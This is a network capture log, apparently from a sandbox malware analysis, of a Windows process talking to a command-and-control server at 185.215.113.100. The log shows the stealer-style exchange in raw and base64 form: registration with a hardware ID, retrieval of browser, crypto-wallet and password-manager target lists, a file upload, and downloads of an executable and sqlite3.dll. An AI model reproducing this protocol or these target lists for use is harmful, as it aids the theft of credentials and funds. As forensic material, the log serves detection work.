Sep 6, 2024 08:18:08.850841045 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:18:08 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Sep 6, 2024 08:18:08.850881100 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 8b 17 1c 00 e9 a0 11 1d 00 e9 bf ab 1b 00 e9 a2 44 1c 00 e9 3b 27 1d 00 e9 cc 5a 1d 00 e9 95 a9 1c 00 e9 Data Ascii: D;'ZRxs\tNg4^0Gb&OlpjBT%{rf:%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49781	185.215.113.100	80	8096	C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:18:03.388350964 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Sep 6, 2024 08:18:04.142651081 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:18:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 6, 2024 08:18:04.691334009 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAFBFIEHIDBGDHCGIE Host: 185.215.113.100 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 43 38 33 32 35 45 38 45 42 39 32 39 32 35 33 38 32 31 39 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------CFBAFBFIEHIDBGDHCGIEContent-Disposition: form-data; name="hwid"3DC8325E8EB92925382193------CFBAFBFIEHIDBGDHCGIEContent-Disposition: form-data; name="build"leva------CFBAFBFIEHIDBGDHCGIE--
Sep 6, 2024 08:18:04.960603952 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:18:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 7a 4e 6a 5a 47 45 77 5a 57 4a 6d 4e 7a 59 33 4d 7a 45 78 59 57 59 77 4e 47 49 7a 4f 54 64 6c 5a 57 45 78 4d 32 49 7a 5a 44 45 77 59 54 59 79 4e 57 55 34 4e 6a 68 6c 4f 57 59 79 5a 6d 51 34 5a 54 55 30 4e 7a 5a 68 5a 6a 64 6d 4e 7a 46 6b 4d 6a 67 78 59 6d 4d 30 59 6d 59 33 5a 57 49 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NzNjZGEwZWJmNzY3MzExYWYwNGIzOTdlZWExM2IzZDEwYTYyNWU4NjhlOWYyZmQ4ZTU0NzZhZjdmNzFkMjgxYmM0YmY3ZWI1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 6, 2024 08:18:05.060972929 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDB Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 63 64 61 30 65 62 66 37 36 37 33 31 31 61 66 30 34 62 33 39 37 65 65 61 31 33 62 33 64 31 30 61 36 32 35 65 38 36 38 65 39 66 32 66 64 38 65 35 34 37 36 61 66 37 66 37 31 64 32 38 31 62 63 34 62 66 37 65 62 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="token"73cda0ebf767311af04b397eea13b3d10a625e868e9f2fd8e5476af7f71d281bc4bf7eb5------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="message"browsers------DHCAAEBKEGHJKEBFHJDB--
Sep 6, 2024 08:18:05.306971073 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:18:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 6, 2024 08:18:05.306991100 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 6, 2024 08:18:05.432459116 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKK Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 63 64 61 30 65 62 66 37 36 37 33 31 31 61 66 30 34 62 33 39 37 65 65 61 31 33 62 33 64 31 30 61 36 32 35 65 38 36 38 65 39 66 32 66 64 38 65 35 34 37 36 61 66 37 66 37 31 64 32 38 31 62 63 34 62 66 37 65 62 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 2d 2d 0d 0a Data Ascii: ------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="token"73cda0ebf767311af04b397eea13b3d10a625e868e9f2fd8e5476af7f71d281bc4bf7eb5------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="message"plugins------AKJDGIEHCAEHIEBFBKKK--
Sep 6, 2024 08:18:05.685993910 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:18:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 6, 2024 08:18:05.686009884 CEST	164	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9n
Sep 6, 2024 08:18:05.686171055 CEST	1236	IN	Data Raw: 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 78 73 5a 58 52 38 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 Data Ascii: a2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZ
Sep 6, 2024 08:18:05.686204910 CEST	1236	IN	Data Raw: 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d Data Ascii: ZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWl
Sep 6, 2024 08:18:05.686216116 CEST	448	IN	Data Raw: 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 Data Ascii: cyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmt
Sep 6, 2024 08:18:05.686228991 CEST	1236	IN	Data Raw: 5a 48 42 75 62 57 52 69 59 32 68 76 62 6d 6c 6c 62 47 6c 6b 5a 32 39 69 5a 47 52 6d 5a 6d 5a 73 59 57 78 38 4d 58 77 77 66 44 42 38 52 30 46 31 64 47 67 67 51 58 56 30 61 47 56 75 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 Data Ascii: ZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2t
Sep 6, 2024 08:18:05.686239004 CEST	44	IN	Data Raw: 62 57 35 68 62 47 74 6d 59 58 77 78 66 44 42 38 4d 48 78 46 59 33 52 76 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 42 76 Data Ascii: bW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3Bv
Sep 6, 2024 08:18:05.686594009 CEST	1236	IN	Data Raw: 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 Data Ascii: aWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamt
Sep 6, 2024 08:18:05.686604977 CEST	508	IN	Data Raw: 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 Data Ascii: fDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHx
Sep 6, 2024 08:18:05.802707911 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDGCGDBGCAAEBFIECGH Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 63 64 61 30 65 62 66 37 36 37 33 31 31 61 66 30 34 62 33 39 37 65 65 61 31 33 62 33 64 31 30 61 36 32 35 65 38 36 38 65 39 66 32 66 64 38 65 35 34 37 36 61 66 37 66 37 31 64 32 38 31 62 63 34 62 66 37 65 62 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 2d 2d 0d 0a Data Ascii: ------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="token"73cda0ebf767311af04b397eea13b3d10a625e868e9f2fd8e5476af7f71d281bc4bf7eb5------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="message"fplugins------HJDGCGDBGCAAEBFIECGH--
Sep 6, 2024 08:18:06.067399025 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:18:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 6, 2024 08:18:07.345765114 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEBFCFIJJKKECAKJEHD Host: 185.215.113.100 Content-Length: 7271 Connection: Keep-Alive Cache-Control: no-cache
Sep 6, 2024 08:18:07.345824003 CEST	7271	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 63 64 61 30 Data Ascii: ------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="token"73cda0ebf767311af04b397eea13b3d10a625e868e9f2fd8e5476af7f71d281bc4bf7eb5------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 6, 2024 08:18:08.190712929 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:18:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 6, 2024 08:18:08.815315962 CEST	94	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
